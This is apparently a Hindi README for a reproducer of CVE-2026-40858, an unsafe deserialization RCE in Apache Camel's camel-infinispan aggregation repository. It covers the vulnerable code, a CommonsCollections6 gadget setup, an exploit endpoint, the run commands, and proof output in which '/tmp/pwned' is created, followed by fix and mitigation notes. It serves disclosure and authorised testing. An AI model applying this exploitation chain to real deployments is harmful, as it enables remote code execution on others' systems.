
CVE-2026-40858 के लिए पुनरुत्पादक — Apache Camel camel-infinispan दूरस्थ एकत्रीकरण रिपॉजिटरी असुरक्षित डिसीरियलाइज़ेशन (RCE)
यह प्रोजेक्ट Apache Camel के camel-infinispan घटक में एक Java डिसीरियलाइज़ेशन भेद्यता को प्रदर्शित करता है, जिसे CVE-2026-40858 के रूप में ट्रैक किया गया है। ProtoStream-आधारित रिमोट एग्रीगेशन रिपॉजिटरी प्रत्येक एकत्रित Exchange को एक रिमोट Infinispan कैश में सीरियलाइज़ करता है और जब वह किसी प्रविष्टि को वापस पढ़ता है (get() / recover() पर), तो उसे java.io.ObjectInputStream और बिना किसी ObjectInputFilter के डिसीरियलाइज़ करता है। एक हमलावर जो बैकिंग कैश में लिख सकता है, वह एक गढ़ी हुई सीरियलाइज़्ड वस्तु लगा सकता है और रिमोट कोड निष्पादन प्राप्त कर सकता है, जब अगली बार रिपॉजिटरी उस कुंजी को पढ़ती है।
परामर्श: https://camel.apache.org/security/CVE-2026-40858.html
| गुण | मान |
|---|---|
| घटक | camel-infinispan (रिमोट / HotRod एग्रीगेशन रिपॉजिटरी) |
| प्रभावित वर्ग | org.apache.camel.component.infinispan.remote.DefaultExchangeHolderProtoAdapter → DefaultExchangeHolderUtils.deserialize(byte[]) |
| CWE | CWE-502: अविश्वसनीय डेटा का डिसीरियलाइज़ेशन |
| प्रभाव | रिमोट कोड निष्पादन (RCE) |
| प्रभावित संस्करण | 4.0.0 से पहले 4.14.7, 4.15.0 से पहले 4.18.2, 4.19.0 से पहले 4.20.0 |
| फिक्स्ड संस्करण | 4.14.7, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23322 |
| रिपोर्टर | Feng Ning (Innora Pte. Ltd.) |
InfinispanRemoteAggregationRepository प्रत्येक Exchange को DefaultExchangeHolder के रूप में संग्रहीत करता है। ProtoStream मार्शलर के साथ, उस होल्डर को DefaultExchangeHolderProtoAdapter द्वारा अनुकूलित किया जाता है, जिसका ProtoStream फ़ील्ड #1 होल्डर है जो एक सादे ObjectOutputStream के साथ सीरियलाइज़ किया गया है। वापस आने पर, एडॉप्टर उन बाइट्स को DefaultExchangeHolderUtils.deserialize को सौंपकर होल्डर का पुनर्निर्माण करता है:
// DefaultExchangeHolderUtils.deserialize(byte[]) - प्रभावित संस्करण
static DefaultExchangeHolder deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ClassLoadingAwareObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais);
return (DefaultExchangeHolder) ois.readObject(); // कोई ObjectInputFilter नहीं
}
ClassLoadingAwareObjectInputStream हल करने योग्य वर्गों के सेट को प्रतिबंधित करने के बजाय विस्तृत करता है, इसलिए readObject() क्लासपाथ पर मौजूद किसी भी गैजेट श्रृंखला को तुरंत उत्पन्न करेगा। चूंकि बाइट्स सीधे रिमोट कैश से आते हैं, कोई भी जो उस कैश कुंजी को लिख सकता है, डिसीरियलाइज़ेशन स्ट्रीम को नियंत्रित करता है — और गैजेट readObject() के दौरान फायर होता है, इससे पहले कि मान को कभी DefaultExchangeHolder में डाला जाए।
एक रूट (या, यहाँ, एप्लिकेशन कोड) रिमोट एग्रीगेशन रिपॉजिटरी का उपयोग करता है जो Infinispan सर्वर द्वारा समर्थित है:
InfinispanRemoteConfiguration conf = new InfinispanRemoteConfiguration();
conf.setCacheContainerConfiguration(hotRodClientConfig); // Infinispan सर्वर की ओर इंगित करता है
InfinispanRemoteAggregationRepository repo =
new InfinispanRemoteAggregationRepository("camel-aggregation");
repo.setConfiguration(conf);
repo.setCamelContext(camelContext);
repo.start();
// ... एकत्रीकरण के दौरान Camel repo.add(...) / repo.get(...) / repo.recover(...) को कॉल करता है
किसी भी get() / recover() पर, जिसकी संग्रहीत मान में छेड़छाड़ की गई हो, सिंक ट्रिगर होता है।
भेद्य Camel कोड एप्लिकेशन (होस्ट पर) में चलता है; Infinispan सर्वर Docker में रिपॉजिटरी के बैकिंग स्टोर के रूप में चलता है। यह दर्शाता है कि रिपॉजिटरी व्यवहार में कैसे तैनात की जाती है: अविश्वसनीय डेटा साझा कैश में रहता है।
CVE-2026-40858/
├── pom.xml # camel-infinispan 4.18.1 + commons-collections 3.2.1 (गैजेट)
├── docker-compose.yml # quay.io/infinispan/server:16.1 (रिमोट कैश)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── InfinispanRepoService.java # InfinispanRemoteAggregationRepository बनाता + शुरू करता है
│ ├── Gadget.java # CommonsCollections6 गैजेट, readObject() के दौरान फायर होता है
│ └── ExploitController.java # /exploit/attack: गैजेट-बॉडी वाला होल्डर लगाता है, फिर उसे पढ़ता है
└── resources/
└── application.properties
PoC शॉर्टकट पर ध्यान दें। एक वास्तविक हमलावर दुर्भावनापूर्ण बाइट्स को सीधे साझा Infinispan कैश में लिखता है। पुनरुत्पादक को आत्म-निहित रखने के लिए,
/exploit/attackएक ही रिपॉजिटरी (repo.add(...)एक्सचेंज बॉडी के रूप में गैजेट के साथ) के माध्यम से मान लगाता है और फिर पढ़ने को ट्रिगर करने के लिएrepo.get(...)को कॉल करता है। गैजेट को निष्पादित करने वाला सिंक Camel का अपनाreadObject()है, ठीक वैसे ही जैसे यह किसी भी हमलावर-छेड़छाड़ वाली कैश प्रविष्टि पर फायर होगा।
docker compose up -d
# तैयार होने तक प्रतीक्षा करें:
curl -s -o /dev/null -w "%{http_code}\n" --retry-connrefused --retry 60 --retry-delay 1 \
http://localhost:11222/rest/v2/cache-managers/default/health/status # -> 200
CommonsCollections6 गैजेट को रिफ्लेक्शन के माध्यम से java.util में लाइव असेंबल किया गया है, इसलिए JVM को --add-opens java.base/java.util=ALL-UNNAMED के साथ शुरू किया जाना चाहिए:
mvn clean package -DskipTests
java --add-opens java.base/java.util=ALL-UNNAMED \
-jar target/cve-2026-40858-infinispan-0.0.1-SNAPSHOT.jar
curl -s http://localhost:8080/exploit/attack
# -> repo.get() returned: Exchange[...]
#
# >>> RCE प्रमाण — /tmp/pwned मौजूद है: true
/tmp/pwned गैजेट द्वारा (touch /tmp/pwned) बनाया गया है, जबकि रिपॉजिटरी लगाए गए कैश मान को डिसीरियलाइज़ करती है।
docker compose down
rm -f /tmp/pwned
कोई भी तैनाती जो InfinispanRemoteAggregationRepository (ProtoStream मार्शलिंग) का उपयोग एक ऐसे कैश के विरुद्ध करती है जिसमें हमलावर लिख सकता है। कैश लेखन पहुँच एक साझा/मल्टी-टेनेंट Infinispan क्लस्टर, एक नेटवर्क-पहुँच योग्य HotRod एंडपॉइंट, या किसी अन्य उत्पादक से आ सकती है जो उसी कैश में डेटा लैंड करता है।
commons-collections:3.2.1)।4.14.7 / 4.18.2 / 4.20.0 पर अपग्रेड करें। फिक्स होल्डर डिसीरियलाइज़ेशन पर एक ObjectInputFilter / क्लास अनुमति-सूची लागू करता है, जो अन्य Camel एग्रीगेशन रिपॉजिटरी (camel-leveldb, camel-cassandraql, camel-jms) और camel-mina / camel-netty पर लागू किए गए सख्तीकरण से मेल खाता है।
अपग्रेड करने तक:
यह पुनरुत्पादक केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से प्रकट और फिक्स भेद्यता के लिए। इसका उपयोग स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध न करें।